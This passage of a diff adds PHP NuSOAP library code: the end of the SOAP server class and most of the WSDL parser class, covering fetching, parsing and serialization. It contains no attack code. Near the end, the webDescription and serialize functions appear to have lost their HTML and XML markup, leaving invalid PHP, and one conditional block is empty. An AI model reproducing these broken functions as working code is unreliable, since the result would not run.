it! Please choose either WSDL or no WSDL.'); + } + if (! $name) { + die('You must specify a name when you register an operation'); + } + if (!is_array($in)) { + die('You must provide an array for operation inputs'); + } + if (!is_array($out)) { + die('You must provide an array for operation outputs'); + } + if(false == $namespace) { + } + if(false == $soapaction) { + if (isset($_SERVER)) { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; + $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); + } elseif (isset($HTTP_SERVER_VARS)) { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; + $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + if ($HTTPS == '1' || $HTTPS == 'on') { + $SCHEME = 'https'; + } else { + $SCHEME = 'http'; + } + $soapaction = "$SCHEME://$SERVER_NAME$SCRIPT_NAME/$name"; + } + if(false == $style) { + $style = "rpc"; + } + if(false == $use) { + $use = "encoded"; + } + if ($use == 'encoded' && $encodingStyle == '') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } + + $this->operations[$name] = array( + 'name' => $name, + 'in' => $in, + 'out' => $out, + 'namespace' => $namespace, + 'soapaction' => $soapaction, + 'style' => $style); + if($this->wsdl){ + $this->wsdl->addOperation($name,$in,$out,$namespace,$soapaction,$style,$use,$documentation,$encodingStyle); + } + return true; + } + + /** + * Specify a fault to be returned to the client. + * This also acts as a flag to the server that a fault has occurred. + * + * @param string $faultcode + * @param string $faultstring + * @param string $faultactor + * @param string $faultdetail + * @access public + */ + function fault($faultcode,$faultstring,$faultactor='',$faultdetail=''){ + if ($faultdetail == '' && $this->debug_flag) { + $faultdetail = $this->getDebug(); + } + $this->fault = new nusoap_fault($faultcode,$faultactor,$faultstring,$faultdetail); + $this->fault->soap_defencoding = $this->soap_defencoding; + } + + /** + * Sets up wsdl object. + * Acts as a flag to enable internal WSDL generation + * + * @param string $serviceName, name of the service + * @param mixed $namespace optional 'tns' service namespace or false + * @param mixed $endpoint optional URL of service endpoint or false + * @param string $style optional (rpc|document) WSDL style (also specified by operation) + * @param string $transport optional SOAP transport + * @param mixed $schemaTargetNamespace optional 'types' targetNamespace for service schema or false + */ + function configureWSDL($serviceName,$namespace = false,$endpoint = false,$style='rpc', $transport = 'http://schemas.xmlsoap.org/soap/http', $schemaTargetNamespace = false) + { + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SERVER_PORT = $_SERVER['SERVER_PORT']; + $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; + $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); + } elseif (isset($HTTP_SERVER_VARS)) { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SERVER_PORT = $HTTP_SERVER_VARS['SERVER_PORT']; + $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; + $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + // If server name has port number attached then strip it (else port number gets duplicated in WSDL output) (occurred using lighttpd and FastCGI) + $colon = strpos($SERVER_NAME,":"); + if ($colon) { + $SERVER_NAME = substr($SERVER_NAME, 0, $colon); + } + if ($SERVER_PORT == 80) { + $SERVER_PORT = ''; + } else { + $SERVER_PORT = ':' . $SERVER_PORT; + } + if(false == $namespace) { + $namespace = "http://$SERVER_NAME/soap/$serviceName"; + } + + if(false == $endpoint) { + if ($HTTPS == '1' || $HTTPS == 'on') { + $SCHEME = 'https'; + } else { + $SCHEME = 'http'; + } + $endpoint = "$SCHEME://$SERVER_NAME$SERVER_PORT$SCRIPT_NAME"; + } + + if(false == $schemaTargetNamespace) { + $schemaTargetNamespace = $namespace; + } + + $this->wsdl = new wsdl; + $this->wsdl->serviceName = $serviceName; + $this->wsdl->endpoint = $endpoint; + $this->wsdl->namespaces['tns'] = $namespace; + $this->wsdl->namespaces['soap'] = 'http://schemas.xmlsoap.org/wsdl/soap/'; + $this->wsdl->namespaces['wsdl'] = 'http://schemas.xmlsoap.org/wsdl/'; + if ($schemaTargetNamespace != $namespace) { + $this->wsdl->namespaces['types'] = $schemaTargetNamespace; + } + $this->wsdl->schemas[$schemaTargetNamespace][0] = new nusoap_xmlschema('', '', $this->wsdl->namespaces); + if ($style == 'document') { + $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaInfo['elementFormDefault'] = 'qualified'; + } + $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaTargetNamespace = $schemaTargetNamespace; + $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/soap/encoding/'][0] = array('location' => '', 'loaded' => true); + $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/wsdl/'][0] = array('location' => '', 'loaded' => true); + $this->wsdl->bindings[$serviceName.'Binding'] = array( + 'name'=>$serviceName.'Binding', + 'style'=>$style, + 'transport'=>$transport, + 'portType'=>$serviceName.'PortType'); + $this->wsdl->ports[$serviceName.'Port'] = array( + 'binding'=>$serviceName.'Binding', + 'location'=>$endpoint, + 'bindingType'=>'http://schemas.xmlsoap.org/wsdl/soap/'); + } +} + +/** + * Backward compatibility + */ +class soap_server extends nusoap_server { +} + +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class wsdl extends nusoap_base { + // URL or filename of the root of this WSDL + var $wsdl; + // define internal arrays of bindings, ports, operations, messages, etc. + var $schemas = array(); + var $currentSchema; + var $message = array(); + var $complexTypes = array(); + var $messages = array(); + var $currentMessage; + var $currentOperation; + var $portTypes = array(); + var $currentPortType; + var $bindings = array(); + var $currentBinding; + var $ports = array(); + var $currentPort; + var $opData = array(); + var $status = ''; + var $documentation = false; + var $endpoint = ''; + // array of wsdl docs to import + var $import = array(); + // parser vars + var $parser; + var $position = 0; + var $depth = 0; + var $depth_array = array(); + // for getting wsdl + var $proxyhost = ''; + var $proxyport = ''; + var $proxyusername = ''; + var $proxypassword = ''; + var $timeout = 0; + var $response_timeout = 30; + var $curl_options = array(); // User-specified cURL options + var $use_curl = false; // whether to always try to use cURL + // for HTTP authentication + var $username = ''; // Username for HTTP authentication + var $password = ''; // Password for HTTP authentication + var $authtype = ''; // Type of HTTP authentication + var $certRequest = array(); // Certificate for HTTP SSL authentication + + /** + * constructor + * + * @param string $wsdl WSDL document URL + * @param string $proxyhost + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @param integer $timeout set the connection timeout + * @param integer $response_timeout set the response timeout + * @param array $curl_options user-specified cURL options + * @param boolean $use_curl try to use cURL + * @access public + */ + function wsdl($wsdl = '',$proxyhost=false,$proxyport=false,$proxyusername=false,$proxypassword=false,$timeout=0,$response_timeout=30,$curl_options=null,$use_curl=false){ + parent::nusoap_base(); + $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + $this->timeout = $timeout; + $this->response_timeout = $response_timeout; + if (is_array($curl_options)) + $this->curl_options = $curl_options; + $this->use_curl = $use_curl; + $this->fetchWSDL($wsdl); + } + + /** + * fetches the WSDL document and parses it + * + * @access public + */ + function fetchWSDL($wsdl) { + $this->debug("parse and process WSDL path=$wsdl"); + $this->wsdl = $wsdl; + // parse wsdl file + if ($this->wsdl != "") { + $this->parseWSDL($this->wsdl); + } + // imports + // TODO: handle imports more properly, grabbing them in-line and nesting them + $imported_urls = array(); + $imported = 1; + while ($imported > 0) { + $imported = 0; + // Schema imports + foreach ($this->schemas as $ns => $list) { + foreach ($list as $xs) { + $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! + foreach ($xs->imports as $ns2 => $list2) { + for ($ii = 0; $ii < count($list2); $ii++) { + if (! $list2[$ii]['loaded']) { + $this->schemas[$ns]->imports[$ns2][$ii]['loaded'] = true; + $url = $list2[$ii]['location']; + if ($url != '') { + $urlparts = parse_url($url); + if (!isset($urlparts['host'])) { + $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' .$wsdlparts['port'] : '') . + substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; + } + if (! in_array($url, $imported_urls)) { + $this->parseWSDL($url); + $imported++; + $imported_urls[] = $url; + } + } else { + $this->debug("Unexpected scenario: empty URL for unloaded import"); + } + } + } + } + } + } + // WSDL imports + $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! + foreach ($this->import as $ns => $list) { + for ($ii = 0; $ii < count($list); $ii++) { + if (! $list[$ii]['loaded']) { + $this->import[$ns][$ii]['loaded'] = true; + $url = $list[$ii]['location']; + if ($url != '') { + $urlparts = parse_url($url); + if (!isset($urlparts['host'])) { + $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' . $wsdlparts['port'] : '') . + substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; + } + if (! in_array($url, $imported_urls)) { + $this->parseWSDL($url); + $imported++; + $imported_urls[] = $url; + } + } else { + $this->debug("Unexpected scenario: empty URL for unloaded import"); + } + } + } + } + } + // add new data to operation data + foreach($this->bindings as $binding => $bindingData) { + if (isset($bindingData['operations']) && is_array($bindingData['operations'])) { + foreach($bindingData['operations'] as $operation => $data) { + $this->debug('post-parse data gathering for ' . $operation); + $this->bindings[$binding]['operations'][$operation]['input'] = + isset($this->bindings[$binding]['operations'][$operation]['input']) ? + array_merge($this->bindings[$binding]['operations'][$operation]['input'], $this->portTypes[ $bindingData['portType'] ][$operation]['input']) : + $this->portTypes[ $bindingData['portType'] ][$operation]['input']; + $this->bindings[$binding]['operations'][$operation]['output'] = + isset($this->bindings[$binding]['operations'][$operation]['output']) ? + array_merge($this->bindings[$binding]['operations'][$operation]['output'], $this->portTypes[ $bindingData['portType'] ][$operation]['output']) : + $this->portTypes[ $bindingData['portType'] ][$operation]['output']; + if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ])){ + $this->bindings[$binding]['operations'][$operation]['input']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ]; + } + if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ])){ + $this->bindings[$binding]['operations'][$operation]['output']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ]; + } + // Set operation style if necessary, but do not override one already provided + if (isset($bindingData['style']) && !isset($this->bindings[$binding]['operations'][$operation]['style'])) { + $this->bindings[$binding]['operations'][$operation]['style'] = $bindingData['style']; + } + $this->bindings[$binding]['operations'][$operation]['transport'] = isset($bindingData['transport']) ? $bindingData['transport'] : ''; + $this->bindings[$binding]['operations'][$operation]['documentation'] = isset($this->portTypes[ $bindingData['portType'] ][$operation]['documentation']) ? $this->portTypes[ $bindingData['portType'] ][$operation]['documentation'] : ''; + $this->bindings[$binding]['operations'][$operation]['endpoint'] = isset($bindingData['endpoint']) ? $bindingData['endpoint'] : ''; + } + } + } + } + + /** + * parses the wsdl document + * + * @param string $wsdl path or URL + * @access private + */ + function parseWSDL($wsdl = '') { + $this->debug("parse WSDL at path=$wsdl"); + + if ($wsdl == '') { + $this->debug('no wsdl passed to parseWSDL()!!'); + $this->setError('no wsdl passed to parseWSDL()!!'); + return false; + } + + // parse $wsdl for url format + $wsdl_props = parse_url($wsdl); + + if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'http' || $wsdl_props['scheme'] == 'https')) { + $this->debug('getting WSDL http(s) URL ' . $wsdl); + // get wsdl + $tr = new soap_transport_http($wsdl, $this->curl_options, $this->use_curl); + $tr->request_method = 'GET'; + $tr->useSOAPAction = false; + if($this->proxyhost && $this->proxyport){ + $tr->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); + } + if ($this->authtype != '') { + $tr->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); + } + $tr->setEncoding('gzip, deflate'); + $wsdl_string = $tr->send('', $this->timeout, $this->response_timeout); + //$this->debug("WSDL request\n" . $tr->outgoing_payload); + //$this->debug("WSDL response\n" . $tr->incoming_payload); + $this->appendDebug($tr->getDebug()); + // catch errors + if($err = $tr->getError() ){ + $errstr = 'Getting ' . $wsdl . ' - HTTP ERROR: '.$err; + $this->debug($errstr); + $this->setError($errstr); + unset($tr); + return false; + } + unset($tr); + $this->debug("got WSDL URL"); + } else { + // $wsdl is not http(s), so treat it as a file URL or plain file path + if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'file') && isset($wsdl_props['path'])) { + $path = isset($wsdl_props['host']) ? ($wsdl_props['host'] . ':' . $wsdl_props['path']) : $wsdl_props['path']; + } else { + $path = $wsdl; + } + $this->debug('getting WSDL file ' . $path); + if ($fp = @fopen($path, 'r')) { + $wsdl_string = ''; + while ($data = fread($fp, 32768)) { + $wsdl_string .= $data; + } + fclose($fp); + } else { + $errstr = "Bad path to WSDL file $path"; + $this->debug($errstr); + $this->setError($errstr); + return false; + } + } + $this->debug('Parse WSDL'); + // end new code added + // Create an XML parser. + $this->parser = xml_parser_create(); + // Set the options for parsing the XML data. + // xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + // Set the object for the parser. + xml_set_object($this->parser, $this); + // Set the element handlers for the parser. + xml_set_element_handler($this->parser, 'start_element', 'end_element'); + xml_set_character_data_handler($this->parser, 'character_data'); + // Parse the XML file. + if (!xml_parse($this->parser, $wsdl_string, true)) { + // Display an error message. + $errstr = sprintf( + 'XML error parsing WSDL from %s on line %d: %s', + $wsdl, + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser)) + ); + $this->debug($errstr); + $this->debug("XML payload:\n" . $wsdl_string); + $this->setError($errstr); + return false; + } + // free the parser + xml_parser_free($this->parser); + $this->debug('Parsing WSDL done'); + // catch wsdl parse errors + if($this->getError()){ + return false; + } + return true; + } + + /** + * start-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @param string $attrs associative array of attributes + * @access private + */ + function start_element($parser, $name, $attrs) + { + if ($this->status == 'schema') { + $this->currentSchema->schemaStartElement($parser, $name, $attrs); + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + } elseif (preg_match('/schema$/', $name)) { + $this->debug('Parsing WSDL schema'); + // $this->debug("startElement for $name ($attrs[name]). status = $this->status (".$this->getLocalPart($name).")"); + $this->status = 'schema'; + $this->currentSchema = new nusoap_xmlschema('', '', $this->namespaces); + $this->currentSchema->schemaStartElement($parser, $name, $attrs); + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + } else { + // position in the total number of elements, starting from 0 + $pos = $this->position++; + $depth = $this->depth++; + // set self as current value for this depth + $this->depth_array[$depth] = $pos; + $this->message[$pos] = array('cdata' => ''); + // process attributes + if (count($attrs) > 0) { + // register namespace declarations + foreach($attrs as $k => $v) { + if (preg_match('/^xmlns/',$k)) { + if ($ns_prefix = substr(strrchr($k, ':'), 1)) { + $this->namespaces[$ns_prefix] = $v; + } else { + $this->namespaces['ns' . (count($this->namespaces) + 1)] = $v; + } + if ($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema') { + $this->XMLSchemaVersion = $v; + $this->namespaces['xsi'] = $v . '-instance'; + } + } + } + // expand each attribute prefix to its namespace + foreach($attrs as $k => $v) { + $k = strpos($k, ':') ? $this->expandQname($k) : $k; + if ($k != 'location' && $k != 'soapAction' && $k != 'namespace') { + $v = strpos($v, ':') ? $this->expandQname($v) : $v; + } + $eAttrs[$k] = $v; + } + $attrs = $eAttrs; + } else { + $attrs = array(); + } + // get element prefix, namespace and name + if (preg_match('/:/', $name)) { + // get ns prefix + $prefix = substr($name, 0, strpos($name, ':')); + // get ns + $namespace = isset($this->namespaces[$prefix]) ? $this->namespaces[$prefix] : ''; + // get unqualified name + $name = substr(strstr($name, ':'), 1); + } + // process attributes, expanding any prefixes to namespaces + // find status, register data + switch ($this->status) { + case 'message': + if ($name == 'part') { + if (isset($attrs['type'])) { + $this->debug("msg " . $this->currentMessage . ": found part (with type) $attrs[name]: " . implode(',', $attrs)); + $this->messages[$this->currentMessage][$attrs['name']] = $attrs['type']; + } + if (isset($attrs['element'])) { + $this->debug("msg " . $this->currentMessage . ": found part (with element) $attrs[name]: " . implode(',', $attrs)); + $this->messages[$this->currentMessage][$attrs['name']] = $attrs['element'] . '^'; + } + } + break; + case 'portType': + switch ($name) { + case 'operation': + $this->currentPortOperation = $attrs['name']; + $this->debug("portType $this->currentPortType operation: $this->currentPortOperation"); + if (isset($attrs['parameterOrder'])) { + $this->portTypes[$this->currentPortType][$attrs['name']]['parameterOrder'] = $attrs['parameterOrder']; + } + break; + case 'documentation': + $this->documentation = true; + break; + // merge input/output data + default: + $m = isset($attrs['message']) ? $this->getLocalPart($attrs['message']) : ''; + $this->portTypes[$this->currentPortType][$this->currentPortOperation][$name]['message'] = $m; + break; + } + break; + case 'binding': + switch ($name) { + case 'binding': + // get ns prefix + if (isset($attrs['style'])) { + $this->bindings[$this->currentBinding]['prefix'] = $prefix; + } + $this->bindings[$this->currentBinding] = array_merge($this->bindings[$this->currentBinding], $attrs); + break; + case 'header': + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus]['headers'][] = $attrs; + break; + case 'operation': + if (isset($attrs['soapAction'])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['soapAction'] = $attrs['soapAction']; + } + if (isset($attrs['style'])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['style'] = $attrs['style']; + } + if (isset($attrs['name'])) { + $this->currentOperation = $attrs['name']; + $this->debug("current binding operation: $this->currentOperation"); + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['name'] = $attrs['name']; + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['binding'] = $this->currentBinding; + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['endpoint'] = isset($this->bindings[$this->currentBinding]['endpoint']) ? $this->bindings[$this->currentBinding]['endpoint'] : ''; + } + break; + case 'input': + $this->opStatus = 'input'; + break; + case 'output': + $this->opStatus = 'output'; + break; + case 'body': + if (isset($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = array_merge($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus], $attrs); + } else { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = $attrs; + } + break; + } + break; + case 'service': + switch ($name) { + case 'port': + $this->currentPort = $attrs['name']; + $this->debug('current port: ' . $this->currentPort); + $this->ports[$this->currentPort]['binding'] = $this->getLocalPart($attrs['binding']); + + break; + case 'address': + $this->ports[$this->currentPort]['location'] = $attrs['location']; + $this->ports[$this->currentPort]['bindingType'] = $namespace; + $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['bindingType'] = $namespace; + $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['endpoint'] = $attrs['location']; + break; + } + break; + } + // set status + switch ($name) { + case 'import': + if (isset($attrs['location'])) { + $this->import[$attrs['namespace']][] = array('location' => $attrs['location'], 'loaded' => false); + $this->debug('parsing import ' . $attrs['namespace']. ' - ' . $attrs['location'] . ' (' . count($this->import[$attrs['namespace']]).')'); + } else { + $this->import[$attrs['namespace']][] = array('location' => '', 'loaded' => true); + if (! $this->getPrefixFromNamespace($attrs['namespace'])) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; + } + $this->debug('parsing import ' . $attrs['namespace']. ' - [no location] (' . count($this->import[$attrs['namespace']]).')'); + } + break; + //wait for schema + //case 'types': + // $this->status = 'schema'; + // break; + case 'message': + $this->status = 'message'; + $this->messages[$attrs['name']] = array(); + $this->currentMessage = $attrs['name']; + break; + case 'portType': + $this->status = 'portType'; + $this->portTypes[$attrs['name']] = array(); + $this->currentPortType = $attrs['name']; + break; + case "binding": + if (isset($attrs['name'])) { + // get binding name + if (strpos($attrs['name'], ':')) { + $this->currentBinding = $this->getLocalPart($attrs['name']); + } else { + $this->currentBinding = $attrs['name']; + } + $this->status = 'binding'; + $this->bindings[$this->currentBinding]['portType'] = $this->getLocalPart($attrs['type']); + $this->debug("current binding: $this->currentBinding of portType: " . $attrs['type']); + } + break; + case 'service': + $this->serviceName = $attrs['name']; + $this->status = 'service'; + $this->debug('current service: ' . $this->serviceName); + break; + case 'definitions': + foreach ($attrs as $name => $value) { + $this->wsdl_info[$name] = $value; + } + break; + } + } + } + + /** + * end-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @access private + */ + function end_element($parser, $name){ + // unset schema status + if (/*preg_match('/types$/', $name) ||*/ preg_match('/schema$/', $name)) { + $this->status = ""; + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + $this->schemas[$this->currentSchema->schemaTargetNamespace][] = $this->currentSchema; + $this->debug('Parsing WSDL schema done'); + } + if ($this->status == 'schema') { + $this->currentSchema->schemaEndElement($parser, $name); + } else { + // bring depth down a notch + $this->depth--; + } + // end documentation + if ($this->documentation) { + //TODO: track the node to which documentation should be assigned; it can be a part, message, etc. + //$this->portTypes[$this->currentPortType][$this->currentPortOperation]['documentation'] = $this->documentation; + $this->documentation = false; + } + } + + /** + * element content handler + * + * @param string $parser XML parser object + * @param string $data element content + * @access private + */ + function character_data($parser, $data) + { + $pos = isset($this->depth_array[$this->depth]) ? $this->depth_array[$this->depth] : 0; + if (isset($this->message[$pos]['cdata'])) { + $this->message[$pos]['cdata'] .= $data; + } + if ($this->documentation) { + $this->documentation .= $data; + } + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype certRequest="); + $this->appendDebug($this->varDump($certRequest)); + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->certRequest = $certRequest; + } + + function getBindingData($binding) + { + if (is_array($this->bindings[$binding])) { + return $this->bindings[$binding]; + } + } + + /** + * returns an assoc array of operation names => operation data + * + * @param string $portName WSDL port name + * @param string $bindingType eg: soap, smtp, dime (only soap and soap12 are currently supported) + * @return array + * @access public + */ + function getOperations($portName = '', $bindingType = 'soap') { + $ops = array(); + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } else { + $this->debug("getOperations bindingType $bindingType may not be supported"); + } + $this->debug("getOperations for port '$portName' bindingType $bindingType"); + // loop thru ports + foreach($this->ports as $port => $portData) { + $this->debug("getOperations checking port $port bindingType " . $portData['bindingType']); + if ($portName == '' || $port == $portName) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + $this->debug("getOperations found port $port bindingType $bindingType"); + //$this->debug("port data: " . $this->varDump($portData)); + //$this->debug("bindings: " . $this->varDump($this->bindings[ $portData['binding'] ])); + // merge bindings + if (isset($this->bindings[ $portData['binding'] ]['operations'])) { + $ops = array_merge ($ops, $this->bindings[ $portData['binding'] ]['operations']); + } + } + } + } + if (count($ops) == 0) { + $this->debug("getOperations found no operations for port '$portName' bindingType $bindingType"); + } + return $ops; + } + + /** + * returns an associative array of data necessary for calling an operation + * + * @param string $operation name of operation + * @param string $bindingType type of binding eg: soap, soap12 + * @return array + * @access public + */ + function getOperationData($operation, $bindingType = 'soap') + { + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } + // loop thru ports + foreach($this->ports as $port => $portData) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + // get binding + //foreach($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { + foreach(array_keys($this->bindings[ $portData['binding'] ]['operations']) as $bOperation) { + // note that we could/should also check the namespace here + if ($operation == $bOperation) { + $opData = $this->bindings[ $portData['binding'] ]['operations'][$operation]; + return $opData; + } + } + } + } + } + + /** + * returns an associative array of data necessary for calling an operation + * + * @param string $soapAction soapAction for operation + * @param string $bindingType type of binding eg: soap, soap12 + * @return array + * @access public + */ + function getOperationDataForSoapAction($soapAction, $bindingType = 'soap') { + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } + // loop thru ports + foreach($this->ports as $port => $portData) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + // loop through operations for the binding + foreach ($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { + if ($opData['soapAction'] == $soapAction) { + return $opData; + } + } + } + } + } + + /** + * returns an array of information about a given type + * returns false if no type exists by the given name + * + * typeDef = array( + * 'elements' => array(), // refs to elements array + * 'restrictionBase' => '', + * 'phpType' => '', + * 'order' => '(sequence|all)', + * 'attrs' => array() // refs to attributes array + * ) + * + * @param string $type the type + * @param string $ns namespace (not prefix) of the type + * @return mixed + * @access public + * @see nusoap_xmlschema + */ + function getTypeDef($type, $ns) { + $this->debug("in getTypeDef: type=$type, ns=$ns"); + if ((! $ns) && isset($this->namespaces['tns'])) { + $ns = $this->namespaces['tns']; + $this->debug("in getTypeDef: type namespace forced to $ns"); + } + if (!isset($this->schemas[$ns])) { + foreach ($this->schemas as $ns0 => $schema0) { + if (strcasecmp($ns, $ns0) == 0) { + $this->debug("in getTypeDef: replacing schema namespace $ns with $ns0"); + $ns = $ns0; + break; + } + } + } + if (isset($this->schemas[$ns])) { + $this->debug("in getTypeDef: have schema for namespace $ns"); + for ($i = 0; $i < count($this->schemas[$ns]); $i++) { + $xs = &$this->schemas[$ns][$i]; + $t = $xs->getTypeDef($type); + $this->appendDebug($xs->getDebug()); + $xs->clearDebug(); + if ($t) { + $this->debug("in getTypeDef: found type $type"); + if (!isset($t['phpType'])) { + // get info for type to tack onto the element + $uqType = substr($t['type'], strrpos($t['type'], ':') + 1); + $ns = substr($t['type'], 0, strrpos($t['type'], ':')); + $etype = $this->getTypeDef($uqType, $ns); + if ($etype) { + $this->debug("found type for [element] $type:"); + $this->debug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $t['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $t['elements'] = $etype['elements']; + } + if (isset($etype['attrs'])) { + $t['attrs'] = $etype['attrs']; + } + } else { + $this->debug("did not find type for [element] $type"); + } + } + return $t; + } + } + $this->debug("in getTypeDef: did not find type $type"); + } else { + $this->debug("in getTypeDef: do not have schema for namespace $ns"); + } + return false; + } + + /** + * prints html description of services + * + * @access private + */ + function webDescription(){ + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $PHP_SELF = $_SERVER['PHP_SELF']; + } elseif (isset($HTTP_SERVER_VARS)) { + $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF']; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + + $b = ' + NuSOAP: '.$this->serviceName.' + + + + +
        +

        +
        '.$this->serviceName.'
        + +
        '; + return $b; + } + + /** + * serialize the parsed wsdl + * + * @param mixed $debug whether to put debug=1 in endpoint URL + * @return string serialization of WSDL + * @access public + */ + function serialize($debug = 0) + { + $xml = ''; + $xml .= "\nnamespaces as $k => $v) { + $xml .= " xmlns:$k=\"$v\""; + } + // 10.9.02 - add poulter fix for wsdl and tns declarations + if (isset($this->namespaces['wsdl'])) { + $xml .= " xmlns=\"" . $this->namespaces['wsdl'] . "\""; + } + if (isset($this->namespaces['tns'])) { + $xml .= " targetNamespace=\"" . $this->namespaces['tns'] . "\""; + } + $xml .= '>'; + // imports + if (sizeof($this->import) > 0) { + foreach($this->import as $ns => $list) { + foreach ($list as $ii) { + if ($ii['location'] != '') { + $xml .= ''; + } else { + $xml .= ''; + } + } + } + } + // types + if (count($this->schemas)>=1) { + $xml .= "\n\n"; + foreach ($this->schemas as $ns => $list) { + foreach ($list as $xs) { + $xml .= $xs->serializeSchema(); + } + } + $xml .= ''; + } + // messages + if (count($this->messages) >= 1) { + foreach($this->messages as $msgName => $msgParts) { + $xml .= "\n'; 